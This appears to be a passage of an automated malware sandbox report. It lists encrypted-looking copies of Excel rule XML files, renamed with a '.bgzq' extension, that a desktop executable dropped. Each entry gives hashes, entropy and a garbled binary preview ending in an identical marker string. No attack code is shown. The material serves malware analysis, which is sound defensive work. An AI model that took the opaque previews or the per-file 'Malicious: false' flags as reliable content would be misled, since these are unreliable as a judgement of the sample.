Preview:	<?xml...\|..&.z.Y.=R.F..0wU.....!..n.A.....<;[.l.+....+..E...,4.Eq.aIa....8xCr}.Cj.....,....X...9.pg%.>.....:e. ......c\..M.g..@Q.N.Ru.UK..{....2..6....t...$`..*.>....e..W.W..75.V..Pw...\|.,2jsu.C.w]....5.R>.QX.JJ..6Q...m......(..0+o...<.~k.Si.h~.......+..A9.o%..Pi..S...XT..4...:......m=.........Mu.G....g..~nl.\|.(....).Fb.-f..7....^........`...... E.kGM{/.....$;".i.....J...Bl?C..~0.\|E..(......Q\|..6..R.......g.....gvw...a.l$.^m..{.GA.9R.vd?..WJ..$......Ct..q.G...L]..I>$..'Q..0....Le..E...7...~...e..o........V...7.'vvU...<I......J.....$..l\..{._.........!J........C~....I..]...R.U%.Y.E....T/Joi<..c.i.E.l....8I....s...3...P/b.F.X..d>n.R.....oH..bY.N.:...tM].....Y.Tmk....Z....V\|.vz.^......;mj..]m..\.`D....I..:A..K.1..B.=..D9sP......Ys..^..r.y..4.....cLh.PP...j`.M2.G:.GPDG......Zf........q..T.7.q#.R..=....@.z......&.......'/....@S.Q..n...;..Z2......)~..M...I.%VO}T...8n`4..}#...T/..=..o<.k.../....5...8..e...IjO[%b...xS........m..<H.2q...E...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.927311928583506
Encrypted:	false
SSDEEP:	48:9pX0wI5idaAC9WIE9qChz5Q14F9fK4N+Af+4jUnkKHrJGsdDFD:nLyWx9quzx9fKno+4YX4st9
MD5:	B057B031F5D4951536C682F227A0FB28
SHA1:	61976FEF3A6CE1B62459BF4DFFC098932CEBA495
SHA-256:	02A115D0CAD4493D39D078677DA75BFB41A0E09839FF746FDA9FAFA2721E9E01
SHA-512:	01D733539F64759784F0D5EA83D676BA02CD433521C994DE886BFE29078532C6275481A2A50D22B6EBE1496C9790B5BDD98648D5A60F999AD63DF6B04531C315
Malicious:	false
Preview:	<?xml...f#kw..U=.=.Zb...H.mr....L}@tq.l.../$oh.mOe..(=.......~E.........d.c@..+&H..r0lN...wP...au(.D%.....BE.w.!.....fn+....U..}..<....K....DQ=..+.;.......0.AT..?.odN).._b$......F1$...\|u.X.._.......\|9.^#.A_.^@.o~E.Uim!].t.2....$...........-A...[K.ye.=c..2.....b~..>..u.\|.j.&.!....4.d...;...R....+.n.+XJ.S....r.C..5u."../.....!.N45x....o.R."..s..1..k.....}_..w..{.\|..&....u(.XM.w..Bg..]_...>.....!h.g.;.,.".EU;.-...K.s.G.Q.M.h:..n.vK.."x....+.y5...j.....9.6L......bV..1V7.k.{$......'3.....,.Wi..@........o.:V...h/.Ijg(L....W..w......'.8c.x..]..8..&..v~...r4jO..\|.=.....p+...$pU..)xR.o.T..y.o.......nk6/=....?...W.cFE...6...>.9.<.......Nc....n..4...9s.....T..pZX%((me.y..t.B.XM.C?....z...7>..s1=.Rh.k.."(i@....%bA.4..H...U.I...5.O.LaR.3&..#.?!ZJg.(\|-.k..^.o...L6nc.n../.., )..}.z..;.........q./....?...O<..R.DK...:.d.K+....mr....A..P...k.f.m.=..EX.4x@.O3.S.O.......c...T.)1..vM.c..U..`.b...q...C.04-M...)...x\...}\|..`^`..P.B.-.l....9...X\.......Y.6....\

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.7070210280692315
Encrypted:	false
SSDEEP:	12:oGEM+hQkhbsGojwa4e8wyxNAPClVYVKVwywV9C00jIqAbEjqBlLajVcii9a:oU+hD4ANAPCnYVH+JAR8VbD
MD5:	49DF1ACBC343FF14A8AAAA963CB75ACF
SHA1:	EF9C0DD9E00BA918B6A7705F9CF700936DC40ED6
SHA-256:	6117B1C867EBD29754B7EB09024CF23B0133DCFC8E61B37EADCB9C26499B582B
SHA-512:	AD77480FB5C7470DF0BEDAE06D6B376D2D0A95E2A9DF4B89DD473159A987F94FB04D8619BD282E39968D936ACF5FCB31103DEE661B559BE211932F4A3577CC05
Malicious:	false
Preview:	<?xmlN..7...&.%C..n..U.h..zU./<n..........0.c...Z4.;.....9!..loMm.L;..6%..2.....Y.u...d.Oe@...-....@_.{.....Cu,..26;...U.i.H.FR..7._.{...o.........9t........].[R.1.~....+{.S.8.....2...m.P......P......U{....w.r.Igl...>....D..lSus.R..%.8..../.&...f..V.u."...>32.{P.9........C.N..Z1f...rM.sT...GRQ..5ka.5`U..e.......Q.#..M..;...n,.`+.F.,...A..^G..B.8..A#-.+Y7<...>.1..K...n.0..m!_.....6%J.pR.+..D...v.vB.:r.9......O.j....p..{....f.G..<L`{....^.........ad.oC..J~}.....g'.k...P^.tH.%....'.}*5.w@e.7..$....n+n!we.u...A{..Rl....q].T.Z.o...UO.h..>V....".@......S.#..B...=..0.d.......i..C..x./.G..(D.]........]......&..T.%...{.....Hm.:......=..t/.R.a.Aitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.8183491426191285
Encrypted:	false
SSDEEP:	24:2a8qu5hYaC5VOtjAqVfWN/+UZTFyscwl3gtfZ1ozVbD:2a8JeaaMNAqw+UHxcsGOFD
MD5:	49367AED87AA6509439037276B5CA20C
SHA1:	55197CF1F9DB85BEC7C892A39045BDC814A054ED
SHA-256:	981A9F3505397F4D525AC17F7CCE5A384866F8BDA86F8DE2F2E9F1E5AC519BF6
SHA-512:	ABE29773229C00EF5DC03E20546A70D69D07FE1AEE8DB2D2E6DF3DF04F8FECD412032754E5A07ABB08A2371253B281331E3842248463FE12CAC4825DFCDAC2A2
Malicious:	false
Preview:	<?xml..2.(....Lv.....[.o.!.J..p.+.....+..<.X..!k..$....$..T ....6...v[..C].Wz,..e+../...xJ.N.,.._(fD..V..F.GG..@..-.B.+.Ii....&...y4..S}.j.. <......s.%`.}.t....U-eK.~.p.o..L]+#.J.b...}.Y...y..X..c.\......'.v.....Xfn./.y...?.[..n...Q.kA..O....F.f.......l......{5......P....%yo4F.A...i)Y.\|A.'.k.)gbM...9......(..p>p......$T...X`YCw.C.../.,`.j?...:.}..">U.......XA.9.z.9.o..{U...$...v.r.Wu.[ ....W..p....._1WX...F..O[GI...U.z.4..7.xa.(..:...iW.Ze..Q.!S.........D9\|.uGZ.;xF2c.".....=5..MF.jF.6.4.F.^`.%;P..E7.N..F..a.I........Y.Xe#.......5..tf.Pa.~....Uf.c...y.6.U....S.X..6..AU....-..W...F..a....P...l.+C...p..q\....08.Z`.o...<0.c.7$....g.bE~.>.!Sig...S....k..X...X...o?vO._Z..b.LM.,[?9.Iw.....P..."{V4....l...U.N.....V..].F.Z...[.0.Y=I....$.....l.....=.2F...u.f.....R..U...\.....z...W....y.D.U.[.....{..&...B:...b......[.#.xY.....a..X.l..$......%...........G%1.[....R..t\|.I...\z.\.,...&.....2.1..ZNC.....$..n...}.....:c........)$...@...[.....<.<..O

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.486710374183633
Encrypted:	false
SSDEEP:	12:0oGeaeEQ920nUAgTST6wYK05AIiZ22+yIfHauIVw/TjVcii9a:lEJ0yT66wYKQAlYZNaVmHVbD
MD5:	8590ECF101D682D1D51771174B77B225
SHA1:	AB94E2F4C11BAF17192EF86FF128474869706C51
SHA-256:	FDE83CBA7E4CFCBE05FE33FA4481EE19B91B1BAB35E85EC7518FE2F51B5EC61C
SHA-512:	F96F435B7164495CFD9A89961C5585375D9DDB94C05B1C5F559B880BC7684B244F41ED06F118A44DA61300AD1EFB7126EC15CD8C2C898DB406C6CEDF0B6B57ED
Malicious:	false
Preview:	<?xml..5.\|Yz#...le.....Z.<.~..L...b3h...:.....~.S..r[Yl..m...K.&....~.A....-...Y..{........[r.......i.b..pS..W8.J........"<...=.^....I<.o.:..A..L..`+eb.......h.4b"bg..8....B....H..RyiN..U)0.`Z..L....{....lC...Zg@.'.C..xC.o..Z.R.Rd\..f....!E...W..:..jj0-.r$n.....5m<.....i...W=6..\g..y.B...\7..@E.wn.CU.....Axk..C...F.....E(....'..f(.....$.....[..MZ.M.7...?.o....r;...~.W>...9..}NN.iF..1....8...Vt....A.p,.km..D..UdS.I.h...@.xY..q}.u&..u.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.916325563634776
Encrypted:	false
SSDEEP:	48:YRFOjvq3bEbwCRhsN4W9Zno3Vy6xaNBxl3vaOqesYFD:YRFOjMb6J/sNDlo3RaN9vPsY9
MD5:	EF38ECE09ED237C5B536397464755C7E
SHA1:	6037CEEDE294714E6D3029B5DA77D88C6541EDBF
SHA-256:	B8A5806221071CC4EDA86ABE04C3F51CBEC2CD7000BAAE676946D2DBE028F35C
SHA-512:	A6C95836C7BCE1FBE1DF26C6660B474E71C19FCD9C757DE3E94B8A99D39DECA2450C3D3DC96A38BE7E69EE68BF906BF2E8651046EDA8579544BDCBE0FCAACDE5
Malicious:	false
Preview:	<?xml.`.S....:..6.8..O..%..C_..X.."}N......V)..O..J..[.;]........5.........A..V..K.z....k....l.{u..u...02]b8....bA..9.^..^.5..Vod./.`.T.T.`..!...g.ie..@....D.H.3.syM.P.]...asW.Y07.S(......P.D\|Wl.Z/..=D.....p..U%~..P.6{.....P...1..>Zk...\.o._..].xo.t...#}..k.@...l...'.q.=....X..WO..'.+_`Y.){..f.v...D;....p.........d.}.)X..j._'n..F.$..}..S.........m.VH.....P..Hy_..}K...\|........a-./......p.P....a..d......{.&2.....J.,B...?..0=.?.........I....:...p...;..Kg..\|\zhu..S.....8u...;Q._.M.Q3x+=\|.......r%......O~.Azsei98..N.w........Q.A.g.....jb..@Pa.V..x......X5T...0W.b.u.C@.5..V).....'..!J.......y..mNBVP......?....O~.,.........`Wp;.6e..u..S/........T...f....[..#.&....%...&.^.ix.q/.N...B...G.....~..u..Q...p.d...8...mE...IW.!..f.u...A.....J.{.5.qI.5.]N..3.ew...6p.O..-.h$..f....,W~....KC...[s{~..6e....R\q..Q....l._....R....y.t..9{.g..1T.......IF.q.....[.j.i..v<.u.8g?... ....U.....XJ.d....{.Uj. .#_.f..#F...d.t....6.\|.....0 ..].!.w...x.......D"

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.698125870217414
Encrypted:	false
SSDEEP:	12:sA0B+BGOMulgPtG1Fhax/KEDxuAVPKrFBmFDTWwOD8XQaGXF1KSzyA2W5jVcii9a:sA0ODg1G1FhQbxujBwE8XPGXF1KVPwVX
MD5:	09064C2419B127E30E5F2548E1E43620
SHA1:	B4562DFF19C1A085345D230F2ADEDEFD75CBE882
SHA-256:	56074DEE3C9F0B88E5867A96C625FD28D877E4575C4510F52BE524A971D1326C
SHA-512:	1ED743FAB9486CEE2A3D5E4B8BC1C95D5A8C9AFE414214CCE34759C15678C68FD11B81A48F6E653EA4D8C7606E0BC5B99BBBB3F78604C6A606427EF5D43EFF65
Malicious:	false
Preview:	<?xml.o........nC../._<..1.{D......+...Ms...9..e.).....4....j.......M.c.Lj:Oz.....)..O4..Y...f.1..a...EF.....W.]......y..,r.\....i.\|.C.../[d....Fr.g......%.kh.!....r.Fs...<~.@..s"..Y;.......s@;.q......Z...J.............gdr@......T.aK1-.....{u.^...#b..sZ.Q.....?.:.C\|Y..B..K.fy&G.?.Cmrn..u...m.f.p...?...=A...@W."%.p./...$#...B..b...%.m...?.X... D.M......!...Z9.m....v...F...o.NQ..1F[.`U.e{=...9 ..):_....8`0.i..s....a...R.`....c..#&.l&.......-..o.....%].7...b..6...=..L(1.........]G.....$.).~.O$.S3r\|.._.?.)....yc<.Mj.1..OPl......=...C_..X0n......N......o.1._....s}. ... E..Sz1...k...Kj..8a.....0.p..J......Y...e...N.$..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.689214450225022
Encrypted:	false
SSDEEP:	12:sLKK+N44I/3QKnWmJ7azKkL594sctFl6STg63ducRuDM7AkjVcii9a:nm4I/hnWaMLwsQg63ducRuD7uVbD
MD5:	2CD147ABD3D81389A830A033FE813D07
SHA1:	5DD3CD64C6E2C5CA3007731B97ADCA2040C8A81C
SHA-256:	897BB8CAFBAED660AD189A318CDB8561D71C66A682A5A66C364E54A33F8121D6
SHA-512:	DF5DB5CA76AF7ED61DFF91E62347559633FA23DD59A8DDEB0D34148C2DB6554C70CFC053CC63F6B707AD3D22D5569BBCEBC7632E93D8B5E0E018328E7D7FEAB6
Malicious:	false
Preview:	<?xmlRu.].......W...9.>q.Q?....6.#o@........ 2I]..zo...]a/.."..y8.;V.u.1......B~.Mx....2e.t.s......c!.......F"...(......e)"...k.=...\....D..%}.R.<M..-..z.....%O0...s.......0......]..W.J......gb...H....<W..#..M..P...........KE....k.hl..fc..47...O_H......_.t..0#v..Q{....'.}...Y.N.>......t.....}Z6..9.....,........AR.o...A<7#..Y....V.s.&....$.H..!(,%piw.....#&..;G+.....Y.?f-).6"..d..../...v9ji..Q.....x.<.;x.>:a...R.I)..g.OMS..z..d.h[.....x)....+..I..:;HJ]...a.....ls....9.1.....&.@.}.>."o.-4ox.....h..ns ....U.s...VT./....S.i..>.P.hJ...R.Q.R..(%O.F..b..I........;`.c...~.0\.YZ.U...H.0.ea..wy...}.E.x.j.........M7.k./..l7...@;.o@.......s.2g..\.....y...B.nN.$P...m....".3.A..d..7d0.d.1<.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.676660646096777
Encrypted:	false
SSDEEP:	12:89MQP8k0eVKX0eVgZj0bhRQOymsM10KPFYMsi7MrgeWx1pPMFcyFY/bBL7jVciik:ra8Z9X/gaPoM1zdCihNyU1LVbD
MD5:	7D6FFBDE97F763B606CE18E9559A6F7B
SHA1:	E2FDC5A7BEE91C68343D4743ECCDACFFDB4003F6
SHA-256:	E567358141E0B04039EBB4491FC8CDE38CB49EA3129FFC2D21F3CEBF75E46B81
SHA-512:	A47A292CC1C3000B249CF66B1044CC8A278D784DA8D22B1BF81B589D178B33139F3543DAD811DDE637815A1FB8E247EF9C4737F1F385F5285E57B4888CC19538
Malicious:	false
Preview:	<?xmlx...)....l....e...re......+..R....=.+..,P.A%N.....j...Di.<(s...:x.F.TZT.QSsH.2.&I3.@.E/.>..o.)...[Yb.r........%....?n.. .:K...."9.l..gs..i=$.W."@.....#..mr{.4I{t.w....n..2.EO..kd...i%..J..-.B.(a.....+.9.'..Q.`4..(...+..sL.4.D8..5.....&..S^..Yi.z........7.\|..gy....n..E39v.KP.......D....5}.:.}.Hv.@.q.^[..9.n..8!P..^T.f..u.#W..%....l.:.lJ....T!Ql.....luZ...J..X.....}.P.leZ/.}Hk0...M.Hm`..[o.z./.7..:.O..\3.$4+..i...<........oq.O.F.T......Z.dgW.A...\nD.H.%(.6.......A..p..TRe..@...A..$..V.../..?.5..A.._R.....kV.0..S.LdUj.B$..K.!w&...=.......T>.;k%1......K/.Zw.0d.M$=...4...........I...T&...$..&..n"_....,.......X{...+{O...,..\.E.B....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.709338752697269
Encrypted:	false
SSDEEP:	24:0JdYzK3FiKQXCr4GS7cEf6ddCbdmjSVbD:oRgXCfS7XC6wSFD
MD5:	A04272ABC7AE4D5593505960491BA79D
SHA1:	9CF3074F89EF51DE95802CAF5C91C0FA8793158A
SHA-256:	245EAD5932E3C96D8518EC7559E3DA472E4BA1441E45C49D690B9E97690FD1FC
SHA-512:	127ABC67A75D694462015B00E36EDC6E2CC7980B9C0A725E13AC12103DE1B2B21E88B1CEBD3BFD44416411CDC08A37E8AF4699CDD2D5ACE40831F9F4BD47727C
Malicious:	false
Preview:	<?xml\..............H!&L...Yc..oot.EE.N..O......`Ep....J..\..`.....!.(%...HR..Ok....p.o.....~. $D...0.MIp..Y...p.a.c.r.!...7....."..`..T...u...H.u.sK.Pp..BB<......1@...<...I....=r.Y..?.....fj=.&.m.......H.w.v.(...9../..U.....\|`Bi...r.....}..(............;... ../.fp^.F.....A...c.'0V.8....0.......zj.C..K.".U.KU[..k..Z8F.m...t.Zr......(..s...%..l.S.$.Dc.......~b...._"1.p....../....#....}T.....q.........`~...oP("...ZV..}.3..K...=Vz..O+..d0 ..jy...\...;...L..L9)Yh....\|....DEw.;.i..y...g..0;....W.......e`QCU1...R.....L...=.d.A`.p...5!v-f.2 .QiL28.6....'Zr.....h......9%..@.Z..K..o...:.3...N......:.>o....L..A..nW.-..k.Fv...%....p.B....O.$...qiG...b[....~.8c....yX.........O+..ik.t..;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.75010733769574
Encrypted:	false
SSDEEP:	24:eCsihoaRJsbHfcwlokJugMDuBGQQHidZgsVbD:VsepJsJldW1HQtFD
MD5:	BA09C6CCBD96A043688070867BD2366B
SHA1:	8AB38EC040149AFE869F8F213E3F97C0E23E5196
SHA-256:	E1B09CEAD9FA8EADBE7A3ABEE65EC4BFB64D217AE1E4E9F68DF31C7F95904AED
SHA-512:	9184FB3978BA9F4D2C62041A50AB0483429F5D0EA8265D1CA93C8D7619440F12B4ABA14FC7F805926EF8529BC92E745970D68A2F9B50EB01BC081E66E2B3F183
Malicious:	false
Preview:	<?xml..s!..y..?.....[$..L8...D.yO.dh.A.. /..&.FT..d.B..0<d5fQ..F4E.1...r..Wv.b...M.:I.s]a.......ykloZ..a.)..f..n>...x.....y.V1sZ..L..v..@L.x..k......w.).B .d=....X.>..... ...v....LT..+...,.g.x{..m.p.&.....1...vJ.8...I...s..9..C....d.Qui...Om.....c...cG.A%....(.......$l.j_.R..I.A....L...-....I.V....o........td....%3n.....:..$_\|.\~u..Fv?0.5..^.).=L.....4=.(.=...Z=t=....)...X..1..Q}..o".......h.....kw.V...=.9.....%d...Pk..0.Aa..)E.O.2.].>Nr.s@n4. .^...sw..C....i.-...E.:....\.....2Y.k...)T..\...X..eB.....7..t...j....."W..;40......M......kX....%1s.Wqr....\|...u..1...S.6....N."...<...+.. ..A>....e>..H..=i.i...\|..'q..!)`]}........5..........Mr.G."...!....r$X$Lo'........vk.'V....)s.....FJ.RPz........='..lzdh.a..."O...z..6....rpKb=..~.W.}./.5.w..Fo......Z/...cP...d..B5.O.(.c....=u..+y.....+.f.Yh[..[w..t..U. a.Q>+...m.r.^~gq&..titkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.703587722227181
Encrypted:	false
SSDEEP:	24:z+yfCuruhB+FSHaQG6mIO0tCwIf56F7cVbD:ztKuKPG4aQxoDfgF7cFD
MD5:	37651CAB784F013D50874E38AB0621A4
SHA1:	80FB74FFB5BB65CC229F50861DE59A4F72FF85F4
SHA-256:	2787D5AD4E0ECD690C46BBE1BC34E3E50575248138BFA9E89526573BDB1D2197
SHA-512:	F0BBB9485065EA9CFBA64C0D3A1CFE0F999FB0CC2CDCC107C3421855C68D30AD44E61C90E6CEABC5CD4516F3D6EA528CBF4405E5316A52C299EB082317F9593A
Malicious:	false
Preview:	<?xml.(....$.b.......... 02.,L.0....Q.#.Bn)...b....4..7.$....]..A...>.EO.%...9)9.2).B:UA... .[A..3Y..?.K...1Fj..._.(0<Ml.P...^)..G(.w..J....5......-.].......-..]...c....w.Uu.Fa...i....]"...s.m..6[..P....I'.=.w..O.{G..2K.....y.G....T.b...;.>l..Fd...)..Qbr..WTt..8.1.3xy.P...d...MOD..gR.Ypb..2.u>.(..$..zU.8>z'.T6.B!..^.n..?.......KY^..d.<J.1....jU'...:..C.o.X\|....n.rT......b.Q..o.>....n..../?$S..Y.9./&#.]..g.Jc'..d.z~....</t........p.~.Pv..A.....ip......)......e..:J%z..]..W\|.qi)muy...h0#.x.`6.0....J..FE..3!,+=....#\......a...j.J...E.....b...{M..?D.h.if....~hpu2.?....A..UP#.....:....M..y.D...;..n..KT.[........%+..8=...~...8A.H.<$.N.0..4.v.D..E..%...PQ... F4.~.....q...f..$.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.694721642592616
Encrypted:	false
SSDEEP:	12:BOxLffm3HCOzfJyIUbU4kRB+7wy8Opbpg7KOa1IRMdPqGclRl6QANjVcii9a:BOlf8HB1ylbU4y+Tvi7KORsqGc/8NVbD
MD5:	6C81A61B8264861CCC38C5EEB85B3576
SHA1:	9441E50392BE4AB2FDF3498E8A341A86BE70D64A
SHA-256:	F5CA4C029E304DACDA9707E3EAFC45BECA07C4E473B272B390FA74E456D44A9F
SHA-512:	B2325805D6CC65C45958B31FE4A2013CC81CB501DFB897664B27942632D64C8D1ADF6F204FEE427F5368059093CBD1D68C0B9B17E1AED741AF175738FBE3D086
Malicious:	false
Preview:	<?xml.......=.........y..[......]....}.B2.}..DF.Q....2B.f...-.v...a..2B6\|....q....b^....c..,../.YR.]./.A..F..b...(dP/..m....~-]E....^T.qJ..c.....]..H.,.?..tl..K{M....F........-..@.h..V...Bb..)....4.._..3!...j.-....y..A.0(..0Y..k...i.z.....'.#....+......E...Z.hrY..@t....NW...#)..]1H..{.(.;{.. ...T..V;....Q.Ry...E.y.."L..n...,.k1@..;...MW.v{..D<....#k4.#.^.2.s.R..8.&....{.......Gg...\...(.....]H...1Tl..$.h.NC...tL^.y.4..u..A#@..p..~..O..j:p....g.?..V.......).Fu..G....#..L.G.7-/.....\.8..d'....n..e..b.N^JX...../.i..r:.AV.Q..'."....=I#.*.J.wR.D;^.}.s.>.!jb...1pg..n.Y..>.N.Y.._I.a.n..IY...}...K.]A...A'.e&'..7...5...eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.796488565085211
Encrypted:	false
SSDEEP:	24:ba8JQhv+NAWa525otKAvzCQyLEuo2GvkmRT4vPSuVbD:bbqn7tKAWxEuFBPSuFD
MD5:	C20EFAB4A505B29A20ECE516F1F56378
SHA1:	A814705E9A1143A026851C7290DB63AAAE002800
SHA-256:	127C84FAEDB3717373CBA9085BA86533D90F90B4DA753E9CEFE2E24729B7D64B
SHA-512:	F5CCE4D835031505CB28C60DFB1DDF8F553C92005A2FC8B804CBAEB8D22622E9E73AFF4DB2D4136EE185E491D1139284BA196C3F73F8FA958F639D8EBDBF8D48
Malicious:	false
Preview:	<?xml...M.C{.....\|.v._.Q\|.w...X....P)D...7....2........d\.I+..~.W...@4.d..Z..R.......d..WsB)....>...z..n.._.@.....: ...,..)..........C......8.3=<.,q...{.....)..p._.....o.....U..#..T0...$.......=.\..l...........u.1o...b...UP,.\.ru..[%...2b...6..<R...~q.`Z..m..z...c........mf.X..+2......k.....R....i.....,.`...7.*.`T.HU..kn..\|.-...<......h..5...lM.LJ.:l.VZ..^....t...bG..j.L9.am...`.X...........qJ..@.`...3.x4.5..^.j.f..O......1.z..A...bA.PUqm...F../)./>....'.yl..4+K..L...a..O.T.B.[..A.o..'..hH..C.To.O....w..J_.9..y.j.M..=..:H..F..0R..B.I..Z~..?......jEt...p.RI.....r.f..=.9.[..?......9C....(......l..\|!"....E.+@............~....\|X..o...:...\....@....&.~X.U..dH...{..#.....'..a.-.........1T8A[M7...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.73135085001332
Encrypted:	false
SSDEEP:	12:Jwy2OS0ai0oMc4C2reKGrk0rkLD9TmSi2NkCVuELTu5ZQtrUJiTSTlpl/icvYl3i:+vOS0aiiAKGrkIkLD9iSi2mCQAu5CtVE
MD5:	1C357295014FF2E100FC56E1471F8E9C
SHA1:	3D2DD5C5B0F5E252DEE681A2F37BB763AFCCDB81
SHA-256:	31FE9E950FAF2DB52DFB6C3FED2B0C3F371C7A424EF9FB39650F5D7ED7716EE2
SHA-512:	C7A6AEFF1E6E74CBECC29FB50F2D71664C992D70D72C6697E6691EA02B27C8CA38AF378DDE7DEBB3C5299235164C753132985BC9EB571AF5A16A0719AB9A7399
Malicious:	false
Preview:	<?xmlN....[.......".z3..rb"..".S....V..es;d....<.R1.=..u..@.I......rRfj..b...4.......k.........\|...?...sI#....I..4a....<.7..W..g..k.c.zB..X6...AH.9....7..#b[..;6$..y..L..........z..w...gtt.C.E.l(...i......C.....pcd.`....dP....r..n.k...+....".....7....{<.-.t.1...!U7..g.y.~.DJ.J=..~...)....oc.0M.....p.=.C.T.wR...[.....e.........Z.=4N(<s..0PF.}">..Q.a.2..}D..Po*...~.?r.W..^u8 ....9.$.{%T..).......1..0.....Y-..J...H........C.&.h.DB..I..7....@..~..S..t.n......D.{.f..:..k.f.w...x.^0.....:.Au^..\...V..;...:Pe.nT.5..N.".<v....[3.;.eh<r.o...._...G........}.x.W9.\|..ja...X.]....Da.{.."..og..#...V.O..Q.J........sPX.......0... -..m..%..T.MD.@J....G...v._itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.771851122466497
Encrypted:	false
SSDEEP:	12:/abe1YNx/zEW/04vWNAu60AAGk8w8+M4pl7t7sC69CTBjboITa4oWIex/uh519j9:/Y7/zX/0aWqH488plp6QjTzlluhpVbD
MD5:	4F422B55920DFBF90418231B956D0433
SHA1:	5EDB78E6A0FE9B8B7A3DFC7E1621FFADEB7A399D
SHA-256:	7014D02340D4502FA013B06180FB2621886C26905AEB170DF5D093BEAD28EEB0
SHA-512:	8D4B4635F0C2151B490498FAE539C096B004F346EA240E1C5589B8CF31D45D1CEC3F0207D2A47E11802D6BE2451A9F783246501013518F75D235862688E6CB57
Malicious:	false
